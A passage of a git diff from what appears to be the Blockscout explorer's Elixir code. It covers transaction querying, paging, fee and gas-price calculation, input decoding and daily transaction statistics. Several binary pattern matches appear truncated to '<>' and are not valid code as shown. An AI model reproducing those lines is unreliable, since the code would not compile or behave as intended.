transactions_with_rewards_results(address_hash, options, paging_options) do + blocks_range = address_to_transactions_tasks_range_of_blocks(address_hash, options) + + rewards_task = + Task.async(fn -> Reward.fetch_emission_rewards_tuples(address_hash, paging_options, blocks_range, options) end) + + [rewards_task | address_to_transactions_tasks(address_hash, options, true)] + |> wait_for_address_transactions() + |> Enum.sort_by(fn item -> + case item do + {%Reward{} = emission_reward, _} -> + {-emission_reward.block.number, 1} + + item -> + process_item(item) + end + end) + |> Enum.dedup_by(fn item -> + case item do + {%Reward{} = emission_reward, _} -> + {emission_reward.block_hash, emission_reward.address_hash, emission_reward.address_type} + + transaction -> + transaction.hash + end + end) + |> Enum.take(paging_options.page_size) + end + + @doc false + def address_to_transactions_tasks_range_of_blocks(address_hash, options) do + extremums_list = + address_hash + |> transactions_block_numbers_at_address(options) + |> Enum.map(fn query -> + extremum_query = + from( + q in subquery(query), + select: %{min_block_number: min(q.block_number), max_block_number: max(q.block_number)} + ) + + extremum_query + |> Repo.one!() + end) + + extremums_list + |> Enum.reduce(%{min_block_number: nil, max_block_number: 0}, fn %{ + min_block_number: min_number, + max_block_number: max_number + }, + extremums_result -> + current_min_number = Map.get(extremums_result, :min_block_number) + current_max_number = Map.get(extremums_result, :max_block_number) + + extremums_result + |> process_extremums_result_against_min_number(current_min_number, min_number) + |> process_extremums_result_against_max_number(current_max_number, max_number) + end) + end + + defp transactions_block_numbers_at_address(address_hash, options) do + direction = Keyword.get(options, :direction) + + options + |> address_to_transactions_tasks_query(true) + |> not_pending_transactions() + |> select([t], t.block_number) + |> matching_address_queries_list(direction, address_hash) + end + + defp process_extremums_result_against_min_number(extremums_result, current_min_number, min_number) + when is_number(current_min_number) and + not (is_number(min_number) and min_number > 0 and min_number < current_min_number) do + extremums_result + end + + defp process_extremums_result_against_min_number(extremums_result, _current_min_number, min_number) do + extremums_result + |> Map.put(:min_block_number, min_number) + end + + defp process_extremums_result_against_max_number(extremums_result, current_max_number, max_number) + when is_number(max_number) and max_number > 0 and max_number > current_max_number do + extremums_result + |> Map.put(:max_block_number, max_number) + end + + defp process_extremums_result_against_max_number(extremums_result, _current_max_number, _max_number) do + extremums_result + end + + defp process_item(item) do + block_number = if item.block_number, do: -item.block_number, else: 0 + index = if item.index, do: -item.index, else: 0 + {block_number, index} + end + + @spec address_to_transactions_without_rewards( + Hash.Address.t(), + [ + Chain.paging_options() + | Chain.necessity_by_association_option() + | {:sorting, SortingHelper.sorting_params()} + ], + boolean() + ) :: [__MODULE__.t()] + def address_to_transactions_without_rewards(address_hash, options, old_ui? \\ true) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + address_hash + |> address_to_transactions_tasks(options, old_ui?) + |> wait_for_address_transactions() + |> Enum.sort(compare_custom_sorting(Keyword.get(options, :sorting, []))) + |> Enum.dedup_by(& &1.hash) + |> Enum.take(paging_options.page_size) + end + + defp address_to_transactions_tasks(address_hash, options, old_ui?) do + direction = Keyword.get(options, :direction) + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + old_ui? = old_ui? || is_tuple(Keyword.get(options, :paging_options, Chain.default_paging_options()).key) + sorting_options = Keyword.get(options, :sorting, []) + + options + |> address_to_transactions_tasks_query(false, old_ui?) + |> not_dropped_or_replaced_transactions() + |> Chain.join_associations(necessity_by_association) + |> put_has_token_transfers_to_transaction(old_ui?) + |> matching_address_queries_list(direction, address_hash, sorting_options) + |> Enum.map(fn query -> Task.async(fn -> Chain.select_repo(options).all(query) end) end) + end + + @doc """ + Returns the address to transactions tasks query based on provided options. + Boolean `only_mined?` argument specifies if only mined transactions should be returned, + boolean `old_ui?` argument specifies if the query is for the old UI, i.e. is query dynamically sorted or no. + """ + @spec address_to_transactions_tasks_query(keyword, boolean, boolean) :: Ecto.Query.t() + def address_to_transactions_tasks_query(options, only_mined? \\ false, old_ui? \\ true) + + def address_to_transactions_tasks_query(options, only_mined?, true) do + from_block = Chain.from_block(options) + to_block = Chain.to_block(options) + + paging_options = + options + |> Keyword.get(:paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> [] + _ -> fetch_transactions(paging_options, from_block, to_block, !only_mined?) + end + end + + def address_to_transactions_tasks_query(options, _only_mined?, false) do + from_block = Chain.from_block(options) + to_block = Chain.to_block(options) + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + sorting_options = Keyword.get(options, :sorting, []) + + fetch_transactions_with_custom_sorting(paging_options, from_block, to_block, sorting_options) + end + + @doc """ + Waits for the address transactions tasks to complete and returns the transactions flattened + in case of success or raises an error otherwise. + """ + @spec wait_for_address_transactions([Task.t()]) :: [__MODULE__.t()] + def wait_for_address_transactions(tasks) do + tasks + |> Task.yield_many(:timer.seconds(20)) + |> Enum.flat_map(fn {_task, res} -> + case res do + {:ok, result} -> + result + + {:exit, reason} -> + raise "Query fetching address transactions terminated: #{inspect(reason)}" + + nil -> + raise "Query fetching address transactions timed out." + end + end) + end + + defp compare_custom_sorting([{order, :value}]) do + fn a, b -> + case Decimal.compare(Wei.to(a.value, :wei), Wei.to(b.value, :wei)) do + :eq -> compare_default_sorting(a, b) + :gt -> order == :desc + :lt -> order == :asc + end + end + end + + defp compare_custom_sorting([{:desc, :block_number}, {:desc, :index}, {:desc, :inserted_at}, {:asc, :hash}]), + do: &compare_default_sorting/2 + + defp compare_custom_sorting([{:asc, :block_number}, {:asc, :index}, {:asc, :inserted_at}, {:desc, :hash}]), + do: &(!compare_default_sorting(&1, &2)) + + defp compare_custom_sorting([{:dynamic, :fee, order, _dynamic_fee}]) do + fn a, b -> + nil_case = + case order do + :desc_nulls_last -> Decimal.new("-inf") + :asc_nulls_first -> Decimal.new("inf") + end + + a_fee = a |> fee(:wei) |> elem(1) || nil_case + b_fee = b |> fee(:wei) |> elem(1) || nil_case + + case Decimal.compare(a_fee, b_fee) do + :eq -> compare_default_sorting(a, b) + :gt -> order == :desc_nulls_last + :lt -> order == :asc_nulls_first + end + end + end + + defp compare_custom_sorting([]), do: &compare_default_sorting/2 + + defp compare_default_sorting(a, b) do + case { + Helper.compare(a.block_number, b.block_number), + Helper.compare(a.index, b.index), + DateTime.compare(a.inserted_at, b.inserted_at), + Helper.compare(Hash.to_integer(a.hash), Hash.to_integer(b.hash)) + } do + {:lt, _, _, _} -> false + {:eq, :lt, _, _} -> false + {:eq, :eq, :lt, _} -> false + {:eq, :eq, :eq, :gt} -> false + _ -> true + end + end + + @doc """ + Creates a query to fetch transactions taking into account paging_options (possibly nil), + from_block (may be nil), to_block (may be nil) and boolean `with_pending?` that indicates if pending transactions should be included + into the query. + """ + @spec fetch_transactions(PagingOptions.t() | nil, non_neg_integer | nil, non_neg_integer | nil, boolean()) :: + Ecto.Query.t() + def fetch_transactions(paging_options \\ nil, from_block \\ nil, to_block \\ nil, with_pending? \\ false) do + __MODULE__ + |> order_for_transactions(with_pending?) + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> handle_paging_options(paging_options) + end + + @default_sorting [ + desc: :block_number, + desc: :index, + desc: :inserted_at, + asc: :hash + ] + + @doc """ + Creates a query to fetch transactions taking into account paging_options (possibly nil), + from_block (may be nil), to_block (may be nil) and sorting_params. + """ + @spec fetch_transactions_with_custom_sorting( + PagingOptions.t() | nil, + non_neg_integer | nil, + non_neg_integer | nil, + SortingHelper.sorting_params() + ) :: Ecto.Query.t() + def fetch_transactions_with_custom_sorting(paging_options, from_block, to_block, sorting) do + query = from(transaction in __MODULE__) + + query + |> BlockReaderGeneral.where_block_number_in_period(from_block, to_block) + |> SortingHelper.apply_sorting(sorting, @default_sorting) + |> SortingHelper.page_with_sorting(paging_options, sorting, @default_sorting) + end + + defp order_for_transactions(query, true) do + query + |> order_by([transaction], + desc: transaction.block_number, + desc: transaction.index, + desc: transaction.inserted_at, + asc: transaction.hash + ) + end + + defp order_for_transactions(query, _) do + query + |> order_by([transaction], desc: transaction.block_number, desc: transaction.index) + end + + @doc """ + Updates the provided query with necessary `where`s and `limit`s to take into account paging_options (may be nil). + """ + @spec handle_paging_options(Ecto.Query.t() | atom, nil | Explorer.PagingOptions.t()) :: Ecto.Query.t() + def handle_paging_options(query, nil), do: query + + def handle_paging_options(query, %PagingOptions{key: nil, page_size: nil}), do: query + + def handle_paging_options(query, paging_options) do + query + |> page_transaction(paging_options) + |> limit(^paging_options.page_size) + end + + @doc """ + Updates the provided query with necessary `where`s to take into account paging_options. + """ + @spec page_transaction(Ecto.Query.t() | atom, Explorer.PagingOptions.t()) :: Ecto.Query.t() + def page_transaction(query, %PagingOptions{key: nil}), do: query + + def page_transaction(query, %PagingOptions{is_pending_transaction: true} = options), + do: page_pending_transaction(query, options) + + def page_transaction(query, %PagingOptions{key: {0, index}, is_index_in_asc_order: true}) do + where( + query, + [transaction], + transaction.block_number == 0 and transaction.index > ^index + ) + end + + def page_transaction(query, %PagingOptions{key: {block_number, index}, is_index_in_asc_order: true}) do + where( + query, + [transaction], + transaction.block_number < ^block_number or + (transaction.block_number == ^block_number and transaction.index > ^index) + ) + end + + def page_transaction(query, %PagingOptions{key: {0, 0}}) do + query + end + + def page_transaction(query, %PagingOptions{key: {block_number, 0}}) do + where( + query, + [transaction], + transaction.block_number < ^block_number + ) + end + + def page_transaction(query, %PagingOptions{key: {block_number, index}}) do + where( + query, + [transaction], + transaction.block_number < ^block_number or + (transaction.block_number == ^block_number and transaction.index < ^index) + ) + end + + def page_transaction(query, %PagingOptions{key: {0}}) do + query + end + + def page_transaction(query, %PagingOptions{key: {index}}) do + where(query, [transaction], transaction.index < ^index) + end + + @doc """ + Updates the provided query with necessary `where`s to take into account paging_options. + """ + @spec page_pending_transaction(Ecto.Query.t() | atom, Explorer.PagingOptions.t()) :: Ecto.Query.t() + def page_pending_transaction(query, %PagingOptions{key: nil}), do: query + + def page_pending_transaction(query, %PagingOptions{key: {inserted_at, hash}}) do + where( + query, + [transaction], + (is_nil(transaction.block_number) and + (transaction.inserted_at < ^inserted_at or + (transaction.inserted_at == ^inserted_at and transaction.hash > ^hash))) or + not is_nil(transaction.block_number) + ) + end + + @doc """ + Adds a `has_token_transfers` field to the query when second argument is `false`. + + When the second argument is `true`, returns the query untouched. When `false`, + adds a field indicating whether the transaction has any token transfers by using + a subquery to check if token_transfers table contains the transaction hash. + + ## Parameters + - `query`: The Ecto query to be modified + - `false_or_true`: Boolean indicating whether to add the field (when `false`) or + leave the query untouched (when `true`) + - `options`: Additional options for query construction + - `:aliased?`: When `true`, uses the aliased transaction reference in the query + + ## Returns + - The modified Ecto query with the `has_token_transfers` field added via + `select_merge` (when second parameter is `false`) + - The original query unchanged (when second parameter is `true`) + """ + @spec put_has_token_transfers_to_transaction(Ecto.Query.t() | atom, boolean, keyword) :: Ecto.Query.t() + def put_has_token_transfers_to_transaction(query, old_ui?, options \\ []) + + def put_has_token_transfers_to_transaction(query, true, _options), do: query + + def put_has_token_transfers_to_transaction(query, false, options) do + aliased? = Keyword.get(options, :aliased?, false) + + if aliased? do + from(transaction in query, + select_merge: %{ + has_token_transfers: + fragment( + "(SELECT transaction_hash FROM token_transfers WHERE transaction_hash = ? LIMIT 1) IS NOT NULL", + as(:transaction).hash + ) + } + ) + else + from(transaction in query, + select_merge: %{ + has_token_transfers: + fragment( + "(SELECT transaction_hash FROM token_transfers WHERE transaction_hash = ? LIMIT 1) IS NOT NULL", + transaction.hash + ) + } + ) + end + end + + @doc """ + Return the dynamic that calculates the fee for transactions. + """ + @spec dynamic_fee :: Ecto.Query.dynamic_expr() + def dynamic_fee do + dynamic([transaction], transaction.gas_price * fragment("COALESCE(?, ?)", transaction.gas_used, transaction.gas)) + end + + @doc """ + Returns next page params based on the provided transaction. + """ + @spec address_transactions_next_page_params(Explorer.Chain.Transaction.t()) :: %{ + required(atom()) => Decimal.t() | Wei.t() | non_neg_integer | DateTime.t() | Hash.t() + } + def address_transactions_next_page_params( + %__MODULE__{block_number: block_number, index: index, inserted_at: inserted_at, hash: hash, value: value} = + transaction + ) do + %{ + fee: transaction |> fee(:wei) |> elem(1), + value: value, + block_number: block_number, + index: index, + inserted_at: inserted_at, + hash: hash + } + end + + @doc """ + The fee a `transaction` paid for the `t:Explorer.Chain.Transaction.t/0` `gas`. + + If the transaction is pending, then the fee will be a range of `unit` + + iex> Explorer.Chain.Transaction.fee( + ...> %Explorer.Chain.Transaction{ + ...> gas: Decimal.new(3), + ...> gas_price: %Explorer.Chain.Wei{value: Decimal.new(2)}, + ...> gas_used: nil + ...> }, + ...> :wei + ...> ) + {:maximum, Decimal.new(6)} + + If the transaction has been confirmed in block, then the fee will be the actual fee paid in `unit` for the `gas_used` + in the `transaction`. + + iex> Explorer.Chain.Transaction.fee( + ...> %Explorer.Chain.Transaction{ + ...> gas: Decimal.new(3), + ...> gas_price: %Explorer.Chain.Wei{value: Decimal.new(2)}, + ...> gas_used: Decimal.new(2) + ...> }, + ...> :wei + ...> ) + {:actual, Decimal.new(4)} + + """ + @spec fee(Transaction.t(), :ether | :gwei | :wei) :: {:maximum, Decimal.t() | nil} | {:actual, Decimal.t() | nil} + def fee(%Transaction{gas: _gas, gas_price: nil, gas_used: nil}, _unit), do: {:maximum, nil} + + def fee(%Transaction{gas: gas, gas_price: gas_price, gas_used: nil} = transaction, unit) do + {:maximum, fee_calc(transaction, gas_price, gas, unit)} + end + + if @chain_type == :optimism do + def fee(%Transaction{gas_price: nil, gas_used: _gas_used}, _unit) do + {:actual, nil} + end + else + def fee(%Transaction{gas_price: nil, gas_used: gas_used} = transaction, unit) do + gas_price = effective_gas_price(transaction) + {:actual, gas_price && l2_fee_calc(gas_price, gas_used, unit)} + end + end + + def fee(%Transaction{gas_price: gas_price, gas_used: gas_used} = transaction, unit) do + {:actual, fee_calc(transaction, gas_price, gas_used, unit)} + end + + defp fee_calc(transaction, gas_price, gas_used, unit) do + l1_fee = + case Map.get(transaction, :l1_fee) do + nil -> Wei.from(Decimal.new(0), :wei) + value -> value + end + + gas_price + |> l2_fee_calc(gas_used, unit) + |> Wei.from(unit) + |> Wei.sum(l1_fee) + |> Wei.to(unit) + end + + @doc """ + The execution fee a `transaction` paid for the `t:Explorer.Chain.Transaction.t/0` `gas`. + Doesn't include L1 fee. See the description for the `fee` function for parameters and return values. + """ + @spec l2_fee(Transaction.t(), :ether | :gwei | :wei) :: {:maximum, Decimal.t() | nil} | {:actual, Decimal.t() | nil} + def l2_fee(%Transaction{gas: _gas, gas_price: nil, gas_used: nil}, _unit), do: {:maximum, nil} + + def l2_fee(%Transaction{gas: gas, gas_price: gas_price, gas_used: nil}, unit) do + {:maximum, l2_fee_calc(gas_price, gas, unit)} + end + + def l2_fee(%Transaction{gas_price: nil, gas_used: gas_used} = transaction, unit) do + gas_price = effective_gas_price(transaction) + {:actual, gas_price && l2_fee_calc(gas_price, gas_used, unit)} + end + + def l2_fee(%Transaction{gas_price: gas_price, gas_used: gas_used}, unit) do + {:actual, l2_fee_calc(gas_price, gas_used, unit)} + end + + defp l2_fee_calc(gas_price, gas_used, unit) do + gas_price + |> Wei.to(unit) + |> Decimal.mult(gas_used) + end + + @doc """ + Wrapper around `effective_gas_price/2` + """ + @spec effective_gas_price(Transaction.t()) :: Wei.t() | nil + def effective_gas_price(%Transaction{} = transaction), do: effective_gas_price(transaction, transaction.block) + + @doc """ + Calculates effective gas price for transaction with type 2 (EIP-1559) + + `effective_gas_price = priority_fee_per_gas + block.base_fee_per_gas` + """ + @spec effective_gas_price(Transaction.t(), Block.t()) :: Wei.t() | nil + + def effective_gas_price(%Transaction{}, %NotLoaded{}), do: nil + def effective_gas_price(%Transaction{}, nil), do: nil + + def effective_gas_price(%Transaction{} = transaction, block) do + base_fee_per_gas = block.base_fee_per_gas + max_priority_fee_per_gas = transaction.max_priority_fee_per_gas + max_fee_per_gas = transaction.max_fee_per_gas + + priority_fee_per_gas = priority_fee_per_gas(max_priority_fee_per_gas, base_fee_per_gas, max_fee_per_gas) + + priority_fee_per_gas && Wei.sum(priority_fee_per_gas, base_fee_per_gas) + end + + @doc """ + Calculates priority fee per gas for transaction with type 2 (EIP-1559) + + `priority_fee_per_gas = min(transaction.max_priority_fee_per_gas, transaction.max_fee_per_gas - block.base_fee_per_gas)` + """ + @spec priority_fee_per_gas(Wei.t() | nil, Wei.t() | nil, Wei.t() | nil) :: Wei.t() | nil + def priority_fee_per_gas(max_priority_fee_per_gas, base_fee_per_gas, max_fee_per_gas) do + if is_nil(max_priority_fee_per_gas) or is_nil(base_fee_per_gas), + do: nil, + else: + max_priority_fee_per_gas + |> Wei.to(:wei) + |> Decimal.min(max_fee_per_gas |> Wei.sub(base_fee_per_gas) |> Wei.to(:wei)) + |> Wei.from(:wei) + end + + @doc """ + Dynamically adds to/from for `transactions` query based on whether the target address EOA or smart-contract + EOAs with code (EIP-7702) are treated as regular EOAs. + """ + @spec where_transactions_to_from(Hash.Address.t()) :: any() + def where_transactions_to_from(address_hash) do + with {:ok, address} <- Chain.hash_to_address(address_hash), + true <- Address.smart_contract?(address), + false <- Address.eoa_with_code?(address) do + dynamic([transaction], transaction.to_address_hash == ^address_hash) + else + _ -> + dynamic( + [transaction], + transaction.from_address_hash == ^address_hash or transaction.to_address_hash == ^address_hash + ) + end + end + + @doc """ + Returns the number of transactions included into the blocks of the specified block range. + Only consensus blocks are taken into account. + """ + @spec transaction_count_for_block_range(Range.t()) :: non_neg_integer() + def transaction_count_for_block_range(from..to//_) do + Repo.replica().aggregate( + from( + t in Transaction, + where: t.block_number >= ^from and t.block_number <= ^to and t.block_consensus == true + ), + :count, + timeout: :infinity + ) + end + + @doc """ + Receives as input list of transactions and returns decoded_input_data + Where + - `decoded_input_data` is list of results: either `{:ok, _identifier, _text, _mapping}` or `nil` + """ + @spec decode_transactions([Transaction.t()], boolean(), Keyword.t()) :: [nil | {:ok, String.t(), String.t(), map()}] + def decode_transactions(transactions, skip_sig_provider?, opts) do + smart_contract_full_abi_map = combine_smart_contract_full_abi_map(transactions) + + # first we assemble an empty methods map, so that decoded_input_data will skip ContractMethod.t() lookup and decoding + empty_methods_map = + transactions + |> Enum.flat_map(fn + %{input: %{bytes: <>}} -> + {:ok, method_id} = MethodIdentifier.cast(method_id) + [method_id] + + _ -> + [] + end) + |> Enum.into(%{}, &{&1, []}) + + # try to decode transaction using full abi data from smart_contract_full_abi_map + decoded_transactions = + transactions + |> Enum.map(fn transaction -> + transaction + |> decoded_input_data(skip_sig_provider?, opts, empty_methods_map, smart_contract_full_abi_map) + |> format_decoded_input() + end) + |> Enum.zip(transactions) + + # assemble a new methods map from methods in non-decoded transactions + methods_map = + decoded_transactions + |> Enum.flat_map(fn + {nil, %{input: %{bytes: <>}}} -> [method_id] + _ -> [] + end) + |> Enum.uniq() + |> ContractMethod.find_contract_methods(opts) + |> Enum.into(empty_methods_map, &{&1.identifier, [&1]}) + + # decode remaining transaction using methods map + decoded_transactions + |> Enum.map( + &decode_remaining_transaction( + &1, + skip_sig_provider?, + opts, + methods_map, + smart_contract_full_abi_map + ) + ) + end + + if @chain_type == :celo do + defp decode_remaining_transaction({nil, nil}, _, _, _, _), do: nil + end + + defp decode_remaining_transaction( + {nil, transaction}, + skip_sig_provider?, + opts, + methods_map, + smart_contract_full_abi_map + ) do + transaction + |> Map.put(:to_address, %NotLoaded{}) + |> decoded_input_data(skip_sig_provider?, opts, methods_map, smart_contract_full_abi_map) + |> format_decoded_input() + end + + defp decode_remaining_transaction({decoded, _}, _, _, _, _), do: decoded + + defp combine_smart_contract_full_abi_map(transactions) do + # parse unique address hashes of smart-contracts from to_address and created_contract_address properties of the transactions list + unique_to_address_hashes = + transactions + |> Enum.flat_map(fn + %Transaction{to_address: %Address{hash: hash}} -> [hash] + %Transaction{created_contract_address: %Address{hash: hash}} -> [hash] + _ -> [] + end) + |> Enum.uniq() + + # query from the DB proxy implementation objects for those address hashes + multiple_proxy_implementations = + Implementation.get_proxy_implementations_for_multiple_proxies(unique_to_address_hashes) + + # query from the DB address objects with smart_contract preload for all found above proxy and implementation addresses + addresses_with_smart_contracts = + multiple_proxy_implementations + |> Enum.flat_map(fn proxy_implementations -> proxy_implementations.address_hashes end) + |> Enum.concat(unique_to_address_hashes) + |> Chain.hashes_to_addresses(necessity_by_association: %{smart_contract: :optional}) + |> Enum.into(%{}, &{&1.hash, &1}) + + # combine map %{proxy_address_hash => implementation address hashes} + proxy_implementations_map = + multiple_proxy_implementations + |> Enum.into(%{}, &{&1.proxy_address_hash, &1.address_hashes}) + + # combine map %{proxy_address_hash => combined proxy abi} + unique_to_address_hashes + |> Enum.into(%{}, fn to_address_hash -> + full_abi = + [to_address_hash | Map.get(proxy_implementations_map, to_address_hash, [])] + |> Enum.map(&Map.get(addresses_with_smart_contracts, &1)) + |> Enum.flat_map(fn + %{smart_contract: %{abi: abi}} when is_list(abi) -> abi + _ -> [] + end) + |> Enum.filter(&(!is_nil(&1))) + + {to_address_hash, full_abi} + end) + end + + @doc """ + Receives as input result of decoded_input_data/5, returns either nil or decoded input in format: {:ok, _identifier, _text, _mapping} + """ + @spec format_decoded_input(any()) :: nil | {:ok, String.t(), String.t(), map()} + def format_decoded_input({:error, _, []}), do: nil + def format_decoded_input({:error, _, candidates}), do: Enum.at(candidates, 0) + def format_decoded_input({:ok, _identifier, _text, _mapping} = decoded), do: decoded + def format_decoded_input(_), do: nil + + @doc """ + Return method name used in tx + """ + @spec method_name(t(), any(), boolean()) :: binary() | nil + def method_name(_, _, skip_sc_check? \\ false) + + def method_name(_, {:ok, _method_id, text, _mapping}, _) do + parse_method_name(text, false) + end + + def method_name( + %__MODULE__{to_address: to_address, input: %{bytes: <>}}, + _, + skip_sc_check? + ) do + if skip_sc_check? || Address.smart_contract?(to_address) do + {:ok, method_id} = MethodIdentifier.cast(method_id) + method_id |> to_string() + else + nil + end + end + + def method_name(_, _, _) do + nil + end + + @doc """ + Return method id used in transaction + """ + def method_id(%__MODULE__{ + created_contract_address_hash: nil, + input: %{bytes: <>} + }), + do: "0x" <> Base.encode16(method_id, case: :lower) + + def method_id(_transaction), do: "0x" end diff --git a/apps/explorer/lib/explorer/chain/transaction/fork.ex b/apps/explorer/lib/explorer/chain/transaction/fork.ex index 74e2fc921d35..794d64c17360 100644 --- a/apps/explorer/lib/explorer/chain/transaction/fork.ex +++ b/apps/explorer/lib/explorer/chain/transaction/fork.ex @@ -20,22 +20,14 @@ defmodule Explorer.Chain.Transaction.Fork do * `uncle` - the block in which this transaction was mined/validated. * `uncle_hash` - `uncle` foreign key. """ - @type t :: %__MODULE__{ - hash: Hash.t(), - index: Transaction.transaction_index(), - transaction: %Ecto.Association.NotLoaded{} | Transaction.t(), - uncle: %Ecto.Association.NotLoaded{} | Block.t(), - uncle_hash: Hash.t() - } - @primary_key false - schema "transaction_forks" do - field(:index, :integer) + typed_schema "transaction_forks" do + field(:index, :integer, null: false) timestamps() - belongs_to(:transaction, Transaction, foreign_key: :hash, references: :hash, type: Hash.Full) - belongs_to(:uncle, Block, foreign_key: :uncle_hash, references: :hash, type: Hash.Full) + belongs_to(:transaction, Transaction, foreign_key: :hash, references: :hash, type: Hash.Full, null: false) + belongs_to(:uncle, Block, foreign_key: :uncle_hash, references: :hash, type: Hash.Full, null: false) end @doc """ diff --git a/apps/explorer/lib/explorer/chain/transaction/history/historian.ex b/apps/explorer/lib/explorer/chain/transaction/history/historian.ex index 254ce53699ef..b570bb93c02b 100644 --- a/apps/explorer/lib/explorer/chain/transaction/history/historian.ex +++ b/apps/explorer/lib/explorer/chain/transaction/history/historian.ex @@ -1,31 +1,74 @@ defmodule Explorer.Chain.Transaction.History.Historian do @moduledoc """ - Implements behaviour Historian which will compile TransactionStats from Block/Transaction data and then save the TransactionStats into the database for later retrevial. + Implements behaviour Historian which will compile TransactionStats from Block/Transaction data and then save the TransactionStats into the database for later retrieval. """ require Logger use Explorer.History.Historian - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Block, Transaction} + alias Explorer.Chain.{Block, DenormalizationHelper, Transaction} + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + alias Explorer.Chain.Cache.Counters.LastFetchedCounter alias Explorer.Chain.Events.Publisher alias Explorer.Chain.Transaction.History.TransactionStats alias Explorer.History.Process, as: HistoryProcess + alias Explorer.Repo import Ecto.Query, only: [from: 2, subquery: 1] @behaviour Historian + @typedoc """ + Chain performance stats for a specific date. + """ + @type dated_record :: %{ + required(:date) => Date.t(), + required(:number_of_transactions) => non_neg_integer(), + required(:gas_used) => non_neg_integer(), + required(:total_fee) => non_neg_integer() + } + + # Chain performance stats. + @typep record :: %{ + number_of_transactions: non_neg_integer(), + gas_used: non_neg_integer(), + total_fee: non_neg_integer() + } + @impl Historian + @doc """ + Compiles transaction statistics for a specified number of days. + + This function recursively collects daily transaction statistics, starting + from the earliest date in the range and moving forward towards the current + date. The current day's stats are set to zero to avoid presenting incomplete + data. + + The function attempts to find the appropriate block range for each day and + compile statistics. If block range determination fails, it employs a fallback + method or sets the day's stats to zero. + + ## Parameters + - `num_days`: The number of days to compile records for. + - `records`: An accumulator for the compiled records. Defaults to an empty list. + + ## Returns + - `{:ok, [dated_record()]}`: A list of daily transaction statistics on success. + - `:error`: If an unrecoverable error occurs during compilation. + """ + @spec compile_records(non_neg_integer(), [dated_record()]) :: {:ok, [dated_record()]} | :error def compile_records(num_days, records \\ []) do - Logger.info("tx/per day chart: collect records for txs per day stats") + Logger.info("tx/per day chart: collect records for transactions per day stats") if num_days == 1 do Logger.info("tx/per day chart: records collected #{inspect(records)}") + # The recourse is finished, and the stats for the current day are set to zero + # to avoid presenting incomplete data. records = [%{date: date_today(), number_of_transactions: 0, gas_used: 0, total_fee: 0} | records] - # base case {:ok, records} else + # Calculate the date for which the stats are required by subtracting the specified + # number of days from the current moment, day_to_fetch = Date.add(date_today(), -1 * (num_days - 1)) earliest = datetime(day_to_fetch, ~T[00:00:00]) @@ -37,8 +80,11 @@ defmodule Explorer.Chain.Transaction.History.Historian do from_api = false - with {:ok, min_block} <- Chain.timestamp_to_block_number(earliest, :after, from_api), - {:ok, max_block} <- Chain.timestamp_to_block_number(latest, :after, from_api) do + # Try to identify block range for the given day + with {:ok, min_block} <- BlockGeneralReader.timestamp_to_block_number(earliest, :after, from_api), + {:ok, max_block} <- BlockGeneralReader.timestamp_to_block_number(latest, :before, from_api) do + # Collects stats for the block range determining the given day and add + # the date determining the day to the record. record = min_block |> compile_records_in_range(max_block) @@ -49,46 +95,91 @@ defmodule Explorer.Chain.Transaction.History.Historian do | records ] + # By making recursive calls to collect stats for every next day, eventually + # all stats for the specified number of days will be collected. compile_records(num_days - 1, records) else _ -> + Logger.info( + "tx/per day chart: timestamp cannot be converted to min/max blocks, trying to find min/max blocks through a fallback option}" + ) + + # This approach to identify the block range for the given day does not take + # into account the consensus information in the blocks. min_max_block_query = from(block in Block, where: block.timestamp >= ^earliest and block.timestamp <= ^latest, select: {min(block.number), max(block.number)} ) - {min_block, max_block} = Repo.one(min_max_block_query, timeout: :infinity) + case Repo.one(min_max_block_query, timeout: :infinity) do + {min_block, max_block} when not is_nil(min_block) and not is_nil(max_block) -> + # Collects stats for the block range determining the given day and add + # the date determining the day to the record. + record = + min_block + |> compile_records_in_range(max_block) + |> Map.put(:date, day_to_fetch) - if min_block && max_block do - record = - min_block - |> compile_records_in_range(max_block) - |> Map.put(:date, day_to_fetch) + records = [ + record + | records + ] - records = [ - record - | records - ] + # By making recursive calls to collect stats for every next day, eventually + # all stats for the specified number of days will be collected. + compile_records(num_days - 1, records) - compile_records(num_days - 1, records) - else - records = [%{date: day_to_fetch, number_of_transactions: 0, gas_used: 0, total_fee: 0} | records] - compile_records(num_days - 1, records) + _ -> + # If it is not possible to identify the block range for the given day, + # the stats for the day are set to zero. + Logger.warning("tx/per day chart: failed to get min/max blocks through a fallback option}") + records = [%{date: day_to_fetch, number_of_transactions: 0, gas_used: 0, total_fee: 0} | records] + compile_records(num_days - 1, records) end end end end + # Compiles transaction statistics for a given block range. + # + # This function aggregates data from transactions within the specified block + # range, considering only blocks with consensus. It calculates the number of + # transactions, total gas used, and total transaction fees. + # + # The function adapts its query strategy based on whether transaction + # denormalization has been completed, optimizing for performance in both cases. + # + # ## Parameters + # - `min_block`: The lower bound of the block range (inclusive). + # - `max_block`: The upper bound of the block range (inclusive). + # + # ## Returns + # A map containing the following keys: + # - `:number_of_transactions`: The total number of transactions in the range. + # - `:gas_used`: The total amount of gas used by all transactions in the range. + # - `:total_fee`: The sum of all transaction fees in the range. + @spec compile_records_in_range(non_neg_integer(), non_neg_integer()) :: record() defp compile_records_in_range(min_block, max_block) do Logger.info("tx/per day chart: min/max block numbers [#{min_block}, #{max_block}]") + # Build a query to receive all transactions in the given block range all_transactions_query = - from( - transaction in Transaction, - where: transaction.block_number >= ^min_block and transaction.block_number <= ^max_block - ) + if DenormalizationHelper.transactions_denormalization_finished?() do + from( + transaction in Transaction, + where: transaction.block_number >= ^min_block and transaction.block_number <= ^max_block, + where: transaction.block_consensus == true, + select: transaction + ) + else + from( + transaction in Transaction, + where: transaction.block_number >= ^min_block and transaction.block_number <= ^max_block + ) + end + # Build a query to receive all blocks in the given block range with consensus set to true all_blocks_query = from( block in Block, @@ -97,26 +188,43 @@ defmodule Explorer.Chain.Transaction.History.Historian do select: block.number ) + # Not actual if the block_consensus information is already the part of the transaction + # data. Otherwise, we need to filter out transactions that are in the blocks with consensus + # set to true. query = - from(transaction in subquery(all_transactions_query), - join: block in subquery(all_blocks_query), - on: transaction.block_number == block.number, - select: transaction - ) + if DenormalizationHelper.transactions_denormalization_finished?() do + all_transactions_query + else + from(transaction in subquery(all_transactions_query), + join: block in subquery(all_blocks_query), + on: transaction.block_number == 